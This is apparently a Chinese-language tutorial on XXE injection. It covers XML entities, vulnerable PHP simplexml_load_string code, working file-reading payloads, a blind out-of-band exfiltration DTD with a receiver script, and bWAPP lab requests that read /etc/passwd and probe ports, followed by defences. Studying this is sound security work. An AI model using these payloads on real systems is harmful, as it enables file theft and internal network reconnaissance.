Talking About XXE
Background
xxe XML外部实体注入,之前也看过xxe的文章。但一直没有深入研究过,仅仅会使用。现在准备深入学习一下,此为背景。
XML
XML 一种标记性语言,具体格式如下:
<!-- 版本声明 -->
<?xml version="1.0" encoding="UTF-8"?>
<!-- 文档类型定义DTD -->
<!-- DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。 -->
<!DOCTYPE demo[
<!ELEMENT demo (name, address)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT address (#PCDATA)>
]>
<!-- 文档元素 -->
<demo>
<name>demo</name>
<address>login</address>
</demo>
!DOCTYPE demo 定义此文档是 demo 类型的文档。 !ELEMENT demo 定义 demo 元素有四个元素:”name, address” !ELEMENT name 定义 name 元素为 “#PCDATA” 类型 !ELEMENT address 定义 address 元素为 “#PCDATA” 类型
PCDATA
PCDATA 的意思是被解析的字符数据(parsed character data)。
可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
文本中的标签会被当作标记来处理,而实体会被展开。
不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。
CDATA
CDATA 的意思是字符数据(character data)。
CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
实体
实体是对数据的引用;根据实体种类的不同,XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用。 实体分为以下几种:
- 字符实体
- 命名实体
- 外部实体
- 参数实体
除了参数实体以外所有实体都是以&
开始,以;
结尾,参数实体是以%
开始,以;
结尾。参数实体只用于 DTD 和文档的内部子集中。
字符实体
: 我们可以用十进制格式(nnn;,其中 nnn 是字符的十进制值)或十六进制格式(hhh;,其中 hhh 是字符的十六进制值)来指定任意 Unicode 字符。
命名实体
: 也成内部实体,命名实体在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中用作引用。在 XML 文档解析过程中,实体引用将由它的表示替代。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE demo[
<!-- 定义一个实体 -->
<!ENTITY dog "i am a dog">
]>
<demo>
<!-- 此处引用 -->
<a>&dog;</a>
</demo>
也可以在实体中引用实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE demo[
<!-- 定义一个实体 -->
<!ENTITY dog "a dog">
<!ENTITY cat "i am not &dog; i am a cat">
]>
<demo>
<!-- 此处引用 -->
<a>&cat;</a>
</demo>
外部实体
: 表示外部文件的内容。外部实体注入,就是程序引入了不受信任的外部实体。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE demo[
<!-- 定义一个实体 -->
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<demo>
<!-- 此处引用 -->
<a>&file;</a>
</demo>
参数实体
: 只用于 DTD 和文档的内部子集中。它们使用百分号(%)而不是与字符,可以是命名实体或外部实体。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE demo[
<!ENTITY % a SYSTEM "http://127.0.0.1/demo.dtd">
<!-- a 为参数实体 -->
%a;
]>
<demo>
<a>&b;</a>
</demo>
demo.dtd为
<!ENTITY b SYSTEM "file:///etc/hosts">
<!-- 内部声明实体 -->
<!ENTITY 实体名称 "实体的值">
<!-- 引用外部实体 -->
<!ENTITY 实体名称 SYSTEM "URI">
<!-- 或者 -->
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
PHP中的XXE问题
PHP中造成XXE的原因就是simplexml_load_string
函数的滥用。
漏洞代码:
php5.3-5.4
<?php
$string = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a[<!ENTITY b SYSTEM "file:///etc//passwd">]>
<reset>
<login>&b;</login>
</reset>
XML;
$xml = simplexml_load_string($string, 'SimpleXMLElement', LIBXML_NOCDATA);
print_r($xml);
php5.4以上,需要把LIBXML_NOCDATA
更换为LIBXML_NOENT
:
<?php
$string = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a[<!ENTITY b SYSTEM "file:///etc//passwd">]>
<reset>
<login>&b;</login>
</reset>
XML;
$xml = simplexml_load_string($string, 'SimpleXMLElement', LIBXML_NOENT);
print_r($xml);
在没有回显的情况下可以使用以下办法: 在自己的服务器中写个文件: data.php
<?php
$data = $_GET["data"];
$myfile = fopen("data.txt", "w");
fwrite($myfile, $data);
fclose($myfile);
demo.dtd
<!ENTITY % create "<!ENTITY % send SYSTEM 'http://127.0.0.1/demo.php?data=%file;'>">
%create;
演示代码:
<?php
$string = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE demo[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hosts">
<!ENTITY % get SYSTEM "http://127.0.0.1/demo.dtd">
%get;
%send;
]>
<demo>
<!-- 此处引用 -->
</demo>
XML;
$xml = simplexml_load_string($string,'SimpleXMLElement', LIBXML_NOENT);
bWAPP 演示
可以看到Content-type
为text/xml
,将数据稍加改造,payload如下:
POST /bWAPP/xxe-2.php HTTP/1.1
Host: 10.17.28.107
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.17.28.107/bWAPP/xxe-1.php
Content-type: text/xml; charset=UTF-8
Content-Length: 177
Connection: close
Cookie: PHPSESSID=d7f7f0c20a3a89e1b49208fdacb5c8e0; security_level=0
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE demo[
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<reset><login>bee&file;</login><secret>Any bugs?</secret></reset>
执行结果为:
部分源码如下:
ini_set("display_errors",1);
$xml = simplexml_load_string($body);
// Debugging
// print_r($xml);
可以看到还是simplexml_load_string
问题。接着继续,刚刚我们做的是low
级别的,现在将等级调为medium
,
请求如下:
POST /bWAPP/xxe-2.php HTTP/1.1
Host: 10.17.28.107
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.17.28.107/bWAPP/xxe-1.php
Content-type: text/xml; charset=UTF-8
Content-Length: 175
Connection: close
Cookie: PHPSESSID=d7f7f0c20a3a89e1b49208fdacb5c8e0; security_level=1
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE demo[
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<reset><login>bee&file;</login><secret>Any bugs?</secret></reset>
响应如下:
HTTP/1.1 200 OK
Date: Thu, 14 Feb 2019 10:29:29 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.4-2ubuntu5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 28
Connection: close
Content-Type: text/html
bee's secret has been reset!
部分代码如下:
// Disables XML external entities. Doesn't work with older PHP versions!
// libxml_disable_entity_loader(true);
$xml = simplexml_load_string($body);
// Debugging
// print_r($xml);
$login = $_SESSION["login"];
$secret = $xml->secret;
可以看到没有回显,我们可以利用上边的说过的方法来测试。
探测端口
POST /bWAPP/xxe-2.php HTTP/1.1
Host: 10.17.28.107
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.17.28.107/bWAPP/xxe-1.php
Content-type: text/xml; charset=UTF-8
Content-Length: 179
Connection: close
Cookie: PHPSESSID=d7f7f0c20a3a89e1b49208fdacb5c8e0; security_level=0
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE secret[
<!ENTITY file SYSTEM "http://10.17.28.107:888">
]>
<reset><login>&file;</login><secret>Any bugs;</secret></reset>
没有开放的回显:
<br />
<b>Warning</b>: simplexml_load_string(http://10.17.28.107:888) [<a href='function.simplexml-load-string'>function.simplexml-load-string</a>]: failed to open stream: Connection refused in <b>/var/www/bWAPP/xxe-2.php</b> on line <b>31</b><br />
<br />
<b>Warning</b>: simplexml_load_string() [<a href='function.simplexml-load-string'>function.simplexml-load-string</a>]: I/O warning : failed to load external entity "http://10.17.28.107:888" in <b>/var/www/bWAPP/xxe-2.php</b> on line <b>31</b><br />
An error occured!
探测80端口,开放的回显
<br />
<b>Warning</b>: simplexml_load_string() [<a href='function.simplexml-load-string'>function.simplexml-load-string</a>]: http://10.17.28.107:80:1: parser error : StartTag: invalid element name in <b>/var/www/bWAPP/xxe-2.php</b> on line <b>31</b><br />
<br />
<b>Warning</b>: simplexml_load_string() [<a href='function.simplexml-load-string'>function.simplexml-load-string</a>]: <!DOCTYPE html> in <b>/var/www/bWAPP/xxe-2.php</b> on line <b>31</b><br />
<br />
<b>Warning</b>: simplexml_load_string() [<a href='function.simplexml-load-string'>function.simplexml-load-string</a>]: ^ in <b>/var/www/bWAPP/xxe-2.php</b> on line <b>31</b><br />
........
防御
PHP:
1、使用libxml_disable_entity_loader(true);
,禁止加载外部实体。
2、对传入的数据进行过滤,过滤关键词SYSTEM
和PUBLIC
。
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
参考
[1] 未知攻焉知防——XXE漏洞攻防
[2] XML External Entity (XXE) Processing
[3] 在 XML 中添加实体
[5] Hunting in the Dark - Blind XXE
[6] DTD Cheat Sheet